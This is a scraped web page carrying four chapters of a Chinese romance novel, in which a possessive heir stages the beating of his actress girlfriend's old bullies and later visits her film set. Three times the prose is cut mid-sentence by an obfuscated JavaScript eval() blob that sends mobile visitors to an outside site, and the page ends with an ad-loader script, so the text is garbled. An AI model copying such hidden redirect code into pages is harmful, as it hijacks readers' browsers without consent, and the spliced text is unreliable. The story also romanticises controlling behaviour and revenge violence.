黎艾没回答,算是默认。 “要不以后我不抽事后烟了,抽着和你做?” 靠,这人又来。 她不作评价,用一个白眼让他自行体会。 他笑。 - 用完晚餐,时间还不到六点半。 落地窗外夕阳欲坠,晚霞微醺,晚风轻推暮云,像一副缓缓流动的山水画。 “时间还早,干点儿什么?”陈添问。 黎艾食量小,早早吃完了,倚在凳子上看黄昏,这会儿瞥他一眼又继续看着窗外懒洋洋地说:“干什么都成,别干我。” 陈添挑眉,笑了下。 “看你大病初愈,”他散漫地笑着说,“带你干点儿轻松的。” “你才大病。” 被回怼,陈添只是笑。 他站起来,走到黎艾那边,拉着他客厅的左侧走。 左侧是通向二楼的楼梯,但陈添似乎没有要上楼的意思,而是往楼梯旁的角落里走,那里放着一架钢琴。 这栋房子他们住进来也有三年了,三年里,黎艾只听这架钢琴只被弹奏过两次,一次是陈添主动为她弹奏,一次是她在情人节时让他再为自己弹一次。 陈添说他对弹钢琴这事儿谈不上喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631815|143585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也谈不上讨厌,小时候让学就学了,但他坐不住,觉得反复练习一首曲子无聊至极,后来就没练了,只偶有兴致时才会弹上一弹。 “教你弹钢琴。”陈添拉着黎艾在钢琴前坐下。 “你不是说钢琴这玩意儿不弹就会手生吗?” 上一次见他弹琴都是什么时候了。 陈添却说:“最近练了练。” “为什么要练?” 陈添垂眸,目光落在琴键上,抬手随意弹了几个音,“你上部电影不是演了个贫困女学生,有一幕画面是你看着男主和他初恋四手联弹一首曲子,你很羡慕。” “所以你要教我四手联弹?” “嗯。” 黎艾看着他,神情迟疑,似有疑惑,“那只是演戏,我一点儿也不羡慕他们。” “我知道,我也只是一时兴起,”陈添侧眸看向她,“你学吗?” 黎艾眨了眨眼,忽而笑了下,“学。” “听着。” 陈添将头转回去,修长十指搭在黑白琴键上,接着,极好听的琴声响起,旋律极为流畅,没有一点卡顿。 黎艾静静地听着他弹奏,也目光轻柔地注视着他。 旋律缓缓流淌,因为太过好听,直到最后一个音节落下许久后,黎艾才从沉浸中回过神来。 “这是什么曲子?”她觉得有些耳熟,却又不记得在哪儿听过。 “《Luv Letter》,”陈添朝她望过来,“《情书》。” 中文翻译的那两个字,他似乎压低了一点声线,带着微哑的磁性,让人耳朵一阵酥麻。 “这首曲子对新手来说很难,我只教你一段。” “嗯……” 每当悸动,黎艾声音总会不自觉拉长一些。 “手搭上来,”陈添拿起她一只手放到琴键上,“小指放这儿,食指放这儿……” 他开始教她。 彼时,夕阳刚好落满窗。 金箔般的阳光洒在钢琴上,随着琴键跳动。 泛着橘光的云彩在天边翻涌,夕阳一点一点下沉,天色渐晚。 当天幕完全暗下来,月亮升至中空,星星也铺满天际,室内响起的琴音越来越流畅悦耳。 “我觉得我ok了。”黎艾挺有信心地说。 “那来试一次。” “来吧。” 两个人一起合弹一首曲子。 或许是她有弹琴的天份,或许是长久以来形成的默契,两人的第一次四手联弹就十分完美。 “啊啊啊成功了!”黎艾很意外,激动得像个小孩子一样直拍手,她很少表现出这样的一面,显然是真的很惊喜。 陈添在旁边看着她,唇角轻勾着,表情愉悦而淡然,像知道她能一次就弹好。 这些年,他教了她很多东西,格斗、骑马、射击、游泳、潜水、冲浪、赛车、滑雪……每一样她都学得特别好。 每一次新的尝试成功时,她会笑得特别灿烂,像现在这样。 很漂亮。 他一直都觉得,她笑起来的样子是最漂亮的。 此时他看她的眼神,就像一名植物学家看着自己多年精心培养的玫瑰开出了最美的模样。 她是他一手浇灌出的玫瑰。 独属于他的玫瑰。 “黎艾。”他喊她的名字。 黎艾转头看向他,没说话,等着他说下一句,不料等来的竟是一个吻。 他朝他吻过来,以绝对占有的姿势。 不同于清晨海边那个温柔的吻,这一次,他吻得极重,不光用力吮着她的唇瓣,舌头也抵了进来,放肆翻搅,像掠夺般要将她唇齿间的每一处都强势圈占。 唇舌纠缠,血液疯流。 在这样的侵占之下,他似乎还全然不满足,想要将她全身每一寸皮肤,每一个角落都占为己有。 重重地去吮,去咬,用力地揉捏,完完全全地占满。 察觉到他的意图,黎艾用尽全身力气把他推开。 “陈添!”她喘着气警告他,“你今天要碰我,我立马收拾东西走人!” “走去哪儿?”陈添眯了下眼,笑容轻佻。 “天南地北,你找不到的地方。” 陈添依旧笑着,“不管你去哪儿,我都能找到你,你信不信?” 黎艾不信,她当然不信,觉得这只是他在说大话,却不曾想,这话,竟成了往后的伏笔—— 不管她去哪里,他都会找到她,带她回家。 8. 第 8 章 黎艾最终还是没逃过陈添的一番折腾,而且还是在后半夜,因为陈添说十二点一过,她说的今天就是昨天了。 你拿这种人有办法吗,根本没办法。 好在最近她都没什么通告,可以继续在家躺着,休养生息。 一觉醒来已经是中午,黎艾继续在床上瘫着,一点儿都不想起。 房间里只有她一个人,今天是工作日,想来陈添去公司了。 她躺着玩了会儿手机,忽然,一道开门声响起,吓她一跳。 陈添从门外走进来。 黎艾捂着胸口,心有余悸地吸了口气,颇为埋怨地开口:“你怎么又没去公司?” “你就这么不想见到我?”陈添把灯打开。 “对。”黎艾顺着他的话说。 两人经常像这样拌嘴,陈添知道她说的不是真心话,不怒反笑,“气我昨晚做太久了?” 黎艾白他一眼,不想跟他说这种话题,免得说着说着又擦枪走火。 陈添走过来坐到床边,俯身凑近她,抚着她的头发,在她耳边低笑,“让你爽久一点还不好?” “不好!”黎艾特地加重语气。 “嫌累?” “不然?” 难道还能是嫌爽? 如果没代价,谁不想爽久一点。 某人费解,“你累个什么劲儿?不都是我在动?你不是就躺着?” “喊不用力气啊?我他妈嗓子都哑了!” “谁让你叫那么大声?” 靠! 她真的好想爆粗口! “你以为我乐意叫?还不是……”气极地说到一半,她停住。 “还不是什么?” 黎艾不想说,省得这人又冒出些让人受不了的骚话。 “我懒得跟你说,死开,我要下去吃饭了。”她把他推开,掀开被子准备下床。 “这是休息好了?”陈添问她。 黎艾顿时一脸防备,“你还想来?” “当然想。”陈添笑得蔫坏。 黎艾眼睛一下瞪圆了,想骂他,又怕把他给骂兴奋了,脸上一阵青一阵红,像一口气梗在胸口快要被活活噎死。 “但今天你还有别的事要做。”陈添笑着说。 这话他本可以一口气说话,但他偏要这会儿才慢悠悠开口,明显是故意逗她。 黎艾被他气得不轻,直接一脚朝他踹过去。 陈添眼疾手快,伸手抓住了她的脚腕,“起床气这么大?” “松手。” 陈添将她的脚轻轻放回去,“你就不好奇,今天你有什么事要做?” 刚刚在气头上,黎艾这会儿才想起这码事,“什么?” “吃完饭你就知道了。” “陈添!你真的有病!”黎艾实在忍不住了,真想骂死他,她没问的时候他非要她问,问了他又卖关子。 陈添继续笑着,笑声沉沉。 - 黎艾吃饭一直比陈添快,因为食量小,她没吃几口就搁了筷子。 “说吧,什么事?” “你才吃几口?”陈添不答反问。 “赶紧说。” “再吃两口。” 两人完全不在一个频道。 “我不想吃了,你赶紧说行不行?”黎艾语气已经很不耐烦。 “不行,”陈添态度坚决,“你多吃几口我再告诉你。” 黎艾快烦死了,赌气似的一口气往嘴里塞了好多东西,塞得两边腮帮子都鼓鼓的,活像只仓鼠。 “现在行了吧!”她包着满嘴的东西说。 因为嘴里塞了太多东西,她声音变得糯糯的,像七八岁的女孩儿耍小脾气的声音,引得陈添笑了笑,“你先咽下去。” 有完没完了! 黎艾气恼地用力嚼着嘴里的东西,这下更像仓鼠了。 陈添搁下筷子,身子往后仰,没再继续吃饭,就倚着靠背把黎艾看着。 他这人吧,像是就爱看她为他恼为他笑的样子。 把最后一口用力咽下去,明明都快被噎死了,黎艾也要捶着胸口费劲儿地朝陈添喊道:“赶!紧!说!” 见她被噎住,本来打算开口的陈添又准备把这事儿先搁一搁,起身去她那边帮她拍背,“都27的人了,怎么还是那么急性子。” 黎艾被噎得彻底说不出话了,却还不忘冲他比中指。 好不容易缓了过来,她咬牙切齿地对陈添说:“你要再不说,我把这盘菜扣你脸上!” 陈添笑笑,“我说。” “你不是说你的新角色很有挑战性吗,我找了几个人来帮你试戏。” “啊?”黎艾一脸懵。 她演过的每个角色都挺有挑战性的,之前也没见他给她找人来试戏。 “试这场。”陈添从旁边拿过来一叠打印出来的剧本。 黎艾从他手里结果剧本看了看。 这次她的演的角色是个从一无所有的小宫女到权倾天下的疯批美人,陈添让她试的是女主在拥有权势后对曾经欺辱过她的人进行疯狂报复的一场戏。 “这场戏有什么好试的?” 陈添笑了声,双眸半眯,颇有些意味深长地说:“这可是场好戏。” 看他表情,黎艾的好奇心又上来了,她倒要瞧瞧是什么好戏。 “把人带进来。”陈添给叶尧打了个电话。 黎艾心下估摸着,重要的不是这场戏,是演这场戏的人,所以在听到门口传来动静时,她立马望了过去。 在看清进来那几个人的脸后,她瞳孔骤然一缩。 像是过于突如其来,又像是想确认些什么,她眼睛睁得极大,目光在几个人脸上不断来回扫视。 那一张张脸,她既熟悉又陌生,可即便再感到陌生,她还是一眼认出了这群人,他们就是化成灰她也认得—— 高中那三年让她生不如死的人。 忽然间,似想到什么,她猛地回头看向陈添。 陈添冲她笑笑,伸手揉她的头发,“这些人,你想怎么收拾他们都行,他们签了演出安全责任书,你可以合法揍人。” 黎艾表情一凛。 片刻后,她在心底失笑。 怪不得突然来这么一出,真有他的。 “你怎么做到的?” 竟然让他们心甘情愿来挨打,他们又不是娱乐圈的人。 “这世上没几件钱摆不定的事。” 是这个道理没错,他说得也轻易,可这并不是有钱就能办到,还要有这份心。 他对她,一直很用心。 眼眶里忽的有些发烫,鼻尖一阵阵泛酸。 黎艾拼命忍着,才让眼泪没有溢出来。 这样一个人,真的很难让人割舍。 如果她愿意生孩子,她想,她也许可以一辈子将他私有。 可惜,她无法去问一个未出生的婴孩愿不愿意来这世界,成为她的的孩子,也无法保障能让她的孩子快乐自由地度过这一生,无悔地来这人间走一遭。 作为一个曾经并不想被生下来的人,她没有办法做到问心无愧地诞下一个生命。 如果不是遇到陈添,或许直到现在,她依然不希望自己来到这个世界。 因为他,她才觉得这人间值得。 可偏偏,他那么喜欢孩子。 大概是命中注定,她只能成为他生命里的过客。 何况,孩子并不是她与他之间最大的矛盾,在不久的将来,她会知道,原来她与他,从一开始就是错误的。 “别太感动了,”陈添看到了她眼底的泪光,“去吧。” 黎艾深吸一口气,将情绪收敛,淡淡嗯了声。 她眨眨眼回过头,等视线再落到那些人身上时,她眼底已看不见一丝伤感,目光锐利而冷漠。 那群人根本不敢与她对视,个个把头低着。 她站起来,一步一步朝他们走过去。 被带进来的一共有七个人,三男四女,那时候,为首的是个叫袁琳珊的女生。 袁琳珊以前在高中时就又化浓妆又染发,生怕别人不知道她是个太妹,如今打扮得倒是大方又得体,像极了个贤妻良母,看样子说不定还真成了贤妻良母,也不知道她的孩子要是在学校被霸凌,她会是什么心情。 “袁琳珊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631816|143585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”黎艾直呼她大名,“你先来。” 剧本里,女主对那些曾经欺凌过她的人是一个一个报复的,她自然也是一个一个来。 “其他人,跟我出去。” 叶尧带着其他人退出房间。 房门落锁,黎艾漠然注视着眼前的人,将她脸上的恐惧、不安、愤恨都尽收眼底。 半晌,她扬起手。 “啪——” 一道响亮的耳光声响起。 紧接着,是第二声,第三声,第四声…… 黎艾毫未手软,一下比一下扇得狠。 袁琳珊被她扇得摔到地上,又被她拽着头发扯起来继续扇。 袁琳珊倒是也挺有种,疼得眼泪狂流也没求饶一声。 黎艾也没有非要听她求饶的打算,只想把曾经他们施加在她身上的暴力都还给他们,可仅仅是这几耳光怎么够,远远不够。 “够了。”陈添却握住她胳膊说。 “怎么?”黎艾看着他冷笑一声,“怜香惜玉了?” 袁琳珊虽说恶毒,却长了副惹人生怜的无辜脸。 “那可不。”陈添接话。 黎艾猝不及防,她也就是那么一说,完全没料到他会这样回答。 在她怔愣之际,陈添将她的手翻过来,“手扇疼没?” 黎艾又是一愣。 原来,他怜香惜玉的对象是她,怕她扇人巴掌把手给扇疼了。 别说,力是相互的,她扇得那么用力,手还真真有些疼,掌心都红了。 “别用手打了,你要是气还没出够,用脚。” 黎艾笑了下,还以为他心软,结果是个活阎王。 “让人把她带走吧,”黎艾别过脸,“我不想再看见她。” “其他人呢?” “也带走。” “不打了?” “打他们一顿改变不了什么。” 法治社会,难不成她还能把他们打残? 既然不能打残,那一点儿小伤小痛能抵平什么? 看到他们如今这幅像是完全未遭到报应的样子,她心里反而更加愤恨不平。 陈添像是明白她心中所想,遂告诉她:“你放心,我不会就这么放过他们。” 闻言,本低着头的袁琳珊猛地抬头看向他。 陈添也朝她看过去,唇边浮现一抹笑, “是不是有人跟你说,签了责任书过来挨顿打就完事儿了?” “这你也信?”陈添脸上笑容扩大。 他一向如此,总是笑着将人打入万劫不复之地,像个游戏人间,将所有人玩弄于股掌之中的恶魔。 “你!”袁琳珊气得浑身发抖。 “挨顿打就想抵平,哪有那么容易。” “你们……”袁琳珊胸口剧烈起伏着,似想狠狠咒骂眼前的男人,可她并不知道他是谁,只能将怒火转移到黎艾身上,“黎艾,你这个婊子!贱货!我当初他妈就该弄死你!” “唔——” 她还想骂,却被一只大手用力扼住了脖子。 “我不打女人,”陈添冷冷俯视着她,“但你要敢再骂一个字,我不介意让别人代劳。” 袁琳珊刚刚是气急攻心,全然没了顾忌,这下才知道害怕起来,不敢再破口大骂。 “让她走吧。”黎艾开口。 既然陈添说不会就这样放过他们,那就更没有留他们在这儿碍眼的必要。 陈添侧眸看了眼黎艾,而后向守在门口的叶尧递了个眼神。 叶尧会意,过来将袁琳珊拉了出去。 门关上。 安静下来的房间里,黎艾深吸了口气,平复了下心情,她问陈添:“你打算怎么对付他们?” “该欠债的欠债,该坐牢的坐牢,该失业的失业,总之会让他们一无所有,从今以后都没好果子吃。”陈添语气轻松,大概这一切对他来说都易如反掌。 他抬起她的脸,轻轻捏了捏,“不管是从前还是以后,谁欺负你,我都帮你讨回来。” 这一句入耳,黎艾心头颤了颤。 她望着他,心底响起一个声音: 可陈添,我们没有以后。 9. 第 9 章 三月中旬,《越关山》在淮城开机。 黎艾想清楚了,拍完这最后一部就退圈,她需要时间处理现有商务,接着,再退出陈添的世界。 不能拖,否则,她怕自己再也没办法下定决心。 开机前一天,黎艾坐陈家私人飞机前往淮城。 恰好,陈祁生要去淮城出差,两人便搭乘了同一架飞机。 但其实,陈祁生可以晚几天再去,是陈添让他和黎艾一块去。 淮城是他们死对头陈其允那一脉的地盘,陈添不太放心黎艾一个人待在那边。 陈家人口庞大,主要势力分为好几脉,陈添这一脉和陈其允他们的恩怨是从上一辈就开始的。 这事儿说起来也不复杂。 陈家内部设有八人议庭,从百年前的长老制度演变而来,除却掌舵人,议庭的八名成员拥有最高话事权,陈其允那一脉原本在议庭一直都有一个席位,但三十多年前,这个席位落到了陈添他母亲陈鹤龄女士手中,原因无他,陈鹤龄女士实在过于优秀。 太优秀也是种罪过,陈其允那一脉就这样恨上了陈鹤龄女士,处处和她这边的人作对。 上一辈,他们斗不过陈鹤龄女士,这一辈,陈其允也斗不过陈添,早在五年前,黎艾还没认识陈添时,陈添就把陈其允赶去了泰国,但他那一脉还有其他人留在国内,毕竟是同一个家族,没法赶尽杀绝。 淮城作为陈其允那一脉如今的盘据地,陈添实在难以放心让黎艾一个人过去,本来他打算过去陪着,但既然陈祁生恰好要去淮城出差,那就让陈祁生去,三月正是忙的时候,他要是离开青港会很麻烦。 黎艾不知道这其中的弯弯绕绕,以为陈祁生就是凑巧要去淮城。 飞机起飞时间是下午两点,陈祁生比黎艾先到。 上飞机看到他,黎艾挺开心,这一路有三个小时,她准备从陈祁生嘴里挖点儿他跟他初恋的料。 陈祁生这人吧,看着真的特性冷淡一人,总是一副生人勿近,女人男人都滚远点的样子,所以她贼想知道他谈恋爱的时候是啥样。 一坐下,她立马跟陈祁生搭话:“你今天工作多吗?” 陈祁生一眼看出她别有用心,“你想干嘛?” “想问你点事儿。” “问。” “你跟你初恋弹恋爱的时候应该不是你现在这副冰块儿脸吧?” “说出来你可能不信,”陈祁生冷冷淡淡地开口,“我以前是个阳光开朗大男孩。” “噗——” 黎艾直接笑出了声,他是怎么做到用一脸冷淡的表情说出“阳光开朗大男孩”这几个字的? “你是在玩梗还是认真的?”她笑着问他。 “这是实话,我以前确实很开朗。” 陈祁生依旧面无表情,实在难以让人看出曾经半点开朗的影子。 黎艾上上下下把他打量了一番,“那你怎么变成现在这副鬼样子的?” 陈祁生只说:“人本来就是会变的。” 也是,黎艾想想自己,高三以前她又软弱又木讷,没一点儿脾气,跟现在简直天差地别。 “但……”黎艾单手支颐看着陈祁生,食指轻敲了敲自己的脸颊,问他,“你不怕你初恋不喜欢你这个样子吗?” 大概是也想过这个问题,早有了答案,陈祁生回答得很快,“感情是可以培养的,我会让她喜欢。” 这回答满分,黎艾给他比了个大拇哥。 “你们什么时候谈的恋爱啊?” “高中。” 高中那都是多久远的事儿了,黎艾遂又问,“你们分手多久了?” “九年。” 提起这个数字,陈祁生语气微沉。 “九年!”黎艾震惊。 陈添说他这么拼命工作是为了能和初恋重新在一起,那岂不是意味着,这九年他都一直是一个人? 九年啊,人生有几个九年。 “这九年……”黎艾有些不敢置信,“你没和别人在一起过?” “没有。” “没有和别人发生过关系?” 黎艾问得很直接。 他们这种阶层的人,不谈恋爱也不是什么新鲜事,多得是只走肾不走心的花花公子。 “没有。” “也完全没对别人动过心?” 陈祁生还是那两个字:“没有。” 这就太玄幻了吧。 黎艾不相信。 “你们那圈子那么多顶级美女,我不信你一点儿没感觉。” 陈祁生淡淡瞥过来,“美女怎么了?我不帅?” 黎艾:“……” 他这话……还真没毛病,他确实有够帅。 “行行行,”黎艾再次为他竖起大拇哥,“你可真是情种中的情种,我佩服,佩服得五体投地!” 陈祁生轻笑了下。 “差不多了吧?”他打开随身携带的电脑。 知道他是大忙人,黎艾抬手,“你忙你忙。” 刚刚她一直撑着扶手把陈祁生看着,这会儿陈祁生开始工作,她躺了回去,扭头看向窗外。 听了陈祁生这些事儿,她忍不住去想,假如陈添也迫于家人反对和她分手,他是否也会这样为她反抗,为她守身如玉这么多年,等她这么多年。 不会,肯定不会。 她脑子里冒出这六个字。 就陈添那强到爆炸的性一欲,就算心里念着她,身体肯定会搞上别人,男人嘛,都是下半身思考的动物。 至于陈祁生为什么能管住自己的下半身…… 呃……他估计是个没尝过性一福的老处男。 “啊啾——” 陈祁生忽然打了个喷嚏。 黎艾惊了。 不是吧,难道背后蛐蛐别人,那人还真会打喷嚏? 陈祁生不光打了喷嚏,还转过头来问她:“你骂我?” 黎艾:“???” 这都行? - 飞机准时抵达淮城。 下了飞机,黎艾和陈祁生一起前往同一家酒店,两人还住隔壁。 不怪黎艾会觉得陈添没多爱她,正常人会放心让女朋友和自己兄弟在其他城市住同一个酒店? 还是长得贼好看的兄弟。 也不知道他是真的不在乎她会不会移情别恋,还是他对自己太有自信,又或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631817|143585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者是对陈祁生太放心。 黎艾脑子里经常会不自主的冒出这些念头,但基本都是一晃而过,她懒得去琢磨,也就最近盘算着要和他分手才时不时会想一想。 到了酒店,黎艾还和陈祁生一起吃了个晚饭。 趁着这会儿功夫,黎艾又问起了陈祁生和她初恋的事,陈祁生倒也愿意讲,黎艾听得津津有味。 几乎陈祁生每说一件事,她都要震惊一下,明明都是些小情侣之间挺普通的小事,但放在陈祁生身上就是很让人惊奇,桩桩件件像他上辈子发生的一样,跟他现在完全都不像一个人了。 说着说着,陈祁生长睫低垂,看向她手边已经震动了挺久的手机,“你来电话了。” 黎艾听得太上头,经他提醒才发现手机在震动。 她拿起手机,看到来电人,陈添。 “喂。”她接通电话。 “到酒店了?” 电话里传出陈添那低沉好听的声音。 “到了。” “在干嘛?这么久才接电话。” “跟陈祁生吃饭,听他讲他初恋的事儿。” 陈添笑了声,“他愿意跟你讲?” “怎么不愿意?他可愿意了,估计边讲边回味呢。” 陈祁生瞥过来一眼,但目光里没什么情绪。 陈添又笑了笑,“吃完饭准备做什么?” “不做什么,回房间躺着。” “还记得我之前提醒你的事吗?” “什么?” 黎艾觉得自己肯定有健忘症,很多事儿转头就忘了,陈添提醒过什么她一点儿不记得。 像是料到她会忘,所以陈添才特意又打来这个电话再次提醒她,“在淮城别乱跑。” “哦……” 黎艾这下想起来了。 陈添没有跟她细讲陈其允那一脉跟他的瓜葛,只说有和他不对付的人在淮城。 “有事儿找陈祁生,最近他都在淮城。” 提到这事儿,黎艾撇了撇嘴,“我说,你怎么就这么放心我跟他呆一块儿?” “我知道他有多爱他那初恋。”陈添说。 “也知道……”他尾调微微拖长了些,似乎在笑,大概笑得挺温柔,声音也是温柔的,还稍稍压低了些声线,“你有多爱我。” 黎艾蓦地一愣。 相恋五年,这是她第一次听他提及“爱”这个字。 他不爱说情话,从没对她说过“我爱你”三个字,她也没对他说过。 每个人对爱的感知是不一样的,也许是被很多人爱过,知道什么是确切的爱,所以哪怕她从未对他说过“爱”这个字,他也知道她爱他。而她从小到大都没有感受到多少爱意,即便陈添对她那样好,她也无法确信自己是否真的有在被爱,她分不清,他是爱她,还是他本身就是个很好的人,是否换成任何人来做他的恋人,他都会对那个人这么好。 又或者,因为在很长的一段岁月里都没有被人爱过,在她内心深处会认为爱是很难获得的,既然认为很难,那即便感受到了爱,她也会为其划上一个问号。 所以,她想问他,那你呢,有多爱我? 但她没问。 10. 第 10 章 陈添仇家不少,这些年黎艾没少因为他的仇家报复而遭罪,这次来到他死对头的地盘,黎艾都做好了会被人算计的准备,结果好几天下来竟然事事都很顺利。 这部戏在淮城拍不了多少天,还有其他地方的取景。 对方再不出手,剧组都要离开淮城了。 “姐,感冒药。” 秦依依向黎艾递过去感冒药和水。 今天要拍一场雨里的戏,黎艾身体素质不好,很容易生病,所以得先吃感冒药预防。 吃完药,黎艾离开酒店去剧组。 黎艾演的角色前期就只是个小侍女,妆造很简单,化妆用不了多久。 “黎老师这边好了吗?”剧务瞅着时间过来问。 化妆师最后为黎艾理了理头发,“好了。” “那黎老师您准备一下,现场已经就位。” 黎艾站起来,“我准备好了,直接开拍吧。” 雨里的戏挺难的,也很麻烦,要是NG了就得重新做妆造再拍。 黎艾今天要拍的这场尤其难,台词很多,而且其中独白多,对白少,镜头都不好切,导演要求的是最好能一镜到底。 黎艾走到定点的位置上,闭上眼深深吸了一口。 再睁眼,她朝导演递过去一个已经准备好的眼神。 导演朝打板员比手势。 “第20场1镜1次。”打板员打板。 “action。” 道具组开闸,镜头里暴雨倾盆而至。 这场戏即便一镜到底也有足足7分钟,黎艾从头到尾台词表情都没有半点差错,演得十分投入,丝毫没有注意到—— 不远处出现了一个长相气质极为出众的男人。 在场除了专心拍戏的相关人员,其他候场的人几乎都注意到了这个男人。 这场戏导演很重视,要求全场肃静,但他的出现还是引起了一阵躁动,不少人忍不住发出了惊呼: “卧槽,这谁?” “好帅!” “哪家签的新人?帅得也太超过了吧!” “这气质不像新人啊,像来视察的大佬。” “气质不像,脸像啊,长这么顶不可能不是艺人吧。” 导演听不清楚这些人在说什么,但就是给人感觉很吵,要不是见黎艾演得很好,他绝对喊卡然后痛骂这群人一顿。 现场的躁动没有影响黎艾,她很沉浸地在表演。 等她给出最后一个表情,导演激动地站了起来,“卡!” 道具组立马关闸,秦依依捧着早就准备好的毛巾和外套小跑着准备去递给黎艾,但跑着跑着,手上东西忽然没了,被人二话不说给夺了去。 她下意识转头想看是哪个孙子,然而这人迈一步顶她跑两步,她只看到个后脑勺。 不过,光是一个背影就足够她认出这人是谁了。 原来是艾姐的男朋友。 陈添快步走到黎艾身边,把衣服给她披上,拿头巾裹住她滴水的头发。 一旁的人见状,直接惊呼出了声: “what?!这是她黎艾金主??” “黎艾吃得也太好了吧!!” 黎艾没听到她们说的话,她还没出戏,闭着眼蹲在原地,并不知道此时她身边的人是陈添。 “你再不起来,”陈添半蹲着身子在她耳边说,“我就当着这么多人的面抱你起来了。” 黎艾一惊,睁开眼转头看向他。 “你……”她神情有些恍惚,“你什么时候来的?” “刚刚,”陈添搂着她肩膀把她拎起来,“赶紧去冲个热水澡,别感冒了。” “嗯。”黎艾吸吸鼻子,这会儿才感觉到冷。 现在是三月,气温只有几度,她在雨里淋了这么久,浑身都僵了。 “黎老师你这场演得太好了!” 导演兴高采烈地走过来。 正要带人走的陈添见路被挡住,脸上顿时生出几分不悦,“有屁等会儿放,没看见她冷成什么样了?” 导演直接懵了,他在业内也算个人物,就是投资方也没用这种语气跟他说过话。 “还不滚开?” “不好意思不好意思添爷。”张制片赶过来把导演拉来。 路被让出来,陈添没再看他们一眼,带着黎艾走了。 “这人他妈谁啊?”导演一脸愠怒地看着他们离开的方向。 张制片瞥他一眼,“劝你把他妈两个字收回去。” “——!” 导演这下才猛地反应过来,“黎艾她金主?” 张制片没说是也没说不是。 “那我他妈不是完蛋了?”导演开始后怕。 “不至于。” 刚刚被吓了一跳,导演这会儿仔细想想,自己也没干什么得罪他的事,单纯就是被骂了两句。 悬到嗓子眼儿的心脏重新落回胸腔,导演松了口气说:“竟然这么年轻,还长这么帅,我以为是她哥什么的呢。” “他们家族的人个个颜值都很高。” 听这话,那张制片肯定不光知道这人是谁,还对其家族颇有了解,而黎艾背后金主的身份一直是秘辛,大多数圈内人都只听说过一些无法确认事实的传闻,只有少数大佬知道这人到底是谁,是以导演不仅感叹了句:“还是张制片见多识广啊。” “这种人物,”张制片摇摇头,“还是少见为好。” - 冲了个热水澡出来,黎艾裹着厚厚的浴袍,边走边打喷嚏,连着打了好几个。 一听她这打喷嚏的架势陈添就知道:“得,你这估计又要感冒发烧一场。” 为什么是‘又’,因为黎艾感冒发烧的次数真的很频繁。 “晚上提醒我再整颗感冒药。” 陈添属实有点不明白,“我天天带你运动,怎么你身体素质还是这么差?” “运动是能包治百病还是怎么的?” 运动是不能包治百病,但可以提高身体素质,不应该感冒得这么频繁才对。 陈添也不与她争辩,“今天还有戏要拍吗?” “今天我的戏只定了这一场。” 导演可能以为她要NG好几次,所以留足了时间。 “那我带你去泡温泉驱驱寒。” 黎艾不想动弹,她连着拍了这么多天的戏,好不容易能休息一天她只想躺着,但去泡温泉倒是也不用动弹。 “成。” - 二十分钟后,陈添带黎艾抵达郊外一所温泉山庄。 地方已经提前清场,偌大的山庄除了工作人员就只有他们二人。 陈添不知道黎艾今天要淋雨,但知道她的戏服都不厚,早就打算好了要带她去泡温泉,包了好几天的场。 躺进天然的温泉池里,黎艾不禁发出一声满足的感叹。 吊威亚造成的腰酸背痛在这一刻都得到了纾解。 她闭上眼,头仰着靠在池边,露出整段漂亮的天鹅颈,打湿的长发如海藻般随着池水浮浮沉沉,水漫过她的胸口,又退下去,显出一片旖旎。 雪白的肌肤上水光潋滟,水池下曲线诱人的身段,如美玉精雕细琢出的一张脸,再配上她那仿佛在翻云覆雨中被送上云端时不由自由仰头闭目的神情…… 陈添看着她,喉结滚动着,深邃的眼底是墨色也掩不住的占与欲。 如果这儿不是淮城,他一定,立刻,马上,在这池子里就和她来一场。 舌头在口腔里绕了一圈,他侧眸,拿起一杯浸着冰块的白兰地。 酒液顺着喉咙划下,冰块留在嘴里,他含着冰块再次看向眼前的人,舌尖不时搅动嘴里的冰块。 有些热意,冰块也降不了一丝温度。 他索性也闭上了眼。 似是想到什么,他唇角轻扯了下。 他陈添这辈子,从小就行事放纵,哪怕当了兵性子也一点儿没改,从不克制,从不忍耐,但在黎艾身上,他没少忍耐,像今天这种情况,不少。 不过,这种情况大多时候不是因为时间和地点,是因为黎艾太娇气,嫌累。 他总不能强上,得哄。 有时候能哄着她多来两场,有时候怎么都不好使,只能忍着。 两个人都闭目小憩,耳边只听得见风声与鸟鸣。 这里不光有温泉,风景也很好,放眼望去,山峤苍霭,松林葱郁,一片绿意。 浸在这天然的温泉里,置身这春和景明,会仿佛完全与自然融为一体,像变成了泉水里的一棵树,一尾鱼。 此刻,黎艾的内心无比宁静平和,像被大自然洗涤了灵魂。 然而,这份宁静并没有持续多久—— (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { 